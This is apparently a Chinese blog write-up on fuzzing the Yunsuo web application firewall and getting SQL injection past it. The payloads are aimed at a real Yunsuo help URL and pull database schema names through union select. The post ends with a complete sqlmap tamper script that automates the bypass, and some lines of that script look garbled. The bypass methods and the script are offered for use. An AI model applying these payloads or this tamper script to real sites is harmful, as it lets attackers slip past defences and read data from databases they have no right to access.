云锁之再再绕过
0x00:前言
很遗憾 云锁又更新规则了 嘻嘻
"/*" 已经被加入了黑名单
正则大法也被加入了黑名单
我一度沉默
0x01:FUZZ
fuzz的精髓就是控制变量 我要搞清楚到底什么被过滤掉了
首先payload:?id=1 "/*" 被拦截
payload:?id=1 /* 未被拦截
?? 真就这么真实吗
既然注释符还是没被waf掉 那就好说了
我一半注释符过不去 完整的注释符怎么样
构造payload
?id=1 /**/ union /**/ select 1,2,3 -- 这里的/**/相当于空格 被拦截
尝试在注释内容中添加垃圾字符尝试绕过 这里我遍历了一下所有的数字字符
得 真的被我找到了
那这样是不是就可以了呢 试一下完整的语句
拉了
现在问题又回到了如何绕过from上面 但是内联早就不能用了 陷入了迷茫
折腾了一段时间后,又想起了垃圾字符绕过,我一个字符不行,多个字符行吗?
之前fuzz所有字符的时候可不止&一个可以绕过。
尝试使用多个符号插入注释符,结果 嘿嘿
但是!!!
过是过了 真的这么顺利吗 道路总是坎坷的
在尝试sqli-labs跑数据的时候 一排鲜艳的语法错误给了我一棒槌
?为什么会这样呢 成也这两个符号 败也这两个符号 因为在浏览器的get请求中 "#" 代表的是锚点 (锚点是什么大家有兴趣可以百度一下) 而"&"代表的是参数分隔符
所以表面上我输入了完整的语句
http://help.yunsuo.com.cn/guide/install/?id=1 /*&#*/ union select 1,group_concat(schema_name),3 from information_schema.schemata -- "*/"
其实 我的输入是这样的
是不是很奇怪 无论这两个符号怎么变换位置 能够被服务器捕获的数据只有这截。。。
此术不通
但是 &和#依然没有被过滤掉啊 此时我的侧重点放在了关于这两个符号如何绕过浏览器规则上
最简单的url编码:
它又来了
那么 怎么样才可以既保全编码后的这两个符号,又能绕过云锁呢
此时 被抛弃的正则仿佛在向我招手
因为mysql正则的特殊性 以及云锁对正则内参数的弱检测
得以构造:http://help.yunsuo.com.cn/guide/install/?id=1' REGEXP "[…%26%23]" union select 1,group_concat(schema_name),3 from information_schema.schemata -- "*/"
这边倒是又过去了 可以执行么?
我们试一试
0x02:tamper
这就很简单了
之前的tamper拿过来改一顿就行了
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace(" AND"," REGEXP "[...%23 %26*]" and",1)
payload=re.sub(r'(ORDER BY \d+)', "x", payload)
payload=payload.replace("UNION"," REGEXP "[...%23 %26*]" union",1)
payload=payload.replace("(SELECT (CASE WHEN ("," REGEXP "[...%23 %26*]" (SELECT (CASE WHEN (",1)
payload=payload.replace(" AS "," REGEXP "[...%23 %26*]" as ",1)
payload=payload.replace(" OR "," REGEXP "[...%23 %26*]" or ",1)
payload=payload.replace(" WHERE "," REGEXP "[...%23 %26*]" where ",1)
payload=payload.replace("HIGH_RISK_OPERATION:0"," REGEXP "[...%23 %26*]" ",1)
payload=payload.replace(";","; REGEXP "[...%23 %26*]" HTGH",1)
payload=payload.replace("||","; || REGEXP "[...%23 %26*]" ",1)
payload=payload.replace("THEN"," THEN REGEXP "[...%23 %26*]" ",1)
payload=payload.replace(" IN"," REGEXP "[...%23 %26*]" IN ",1)
#payload=payload.replace("-"," REGEXP "[...%23 %26*]" - ",1)
payload=payload.replace("+"," REGEXP "[...%23 %26*]" + ",1)
payload=payload.replace("WHEN"," REGEXP "[...%23 %26*]" ",1)
return payload
0x03:写在后面
其实 要不就直接把#也加黑, 因为不拉黑它就算封了上面这个payload 我还能绕过
代码将更新至github https://github.com/pureqh/bypasswaf
66666,刚好今天看到你的绕了个注入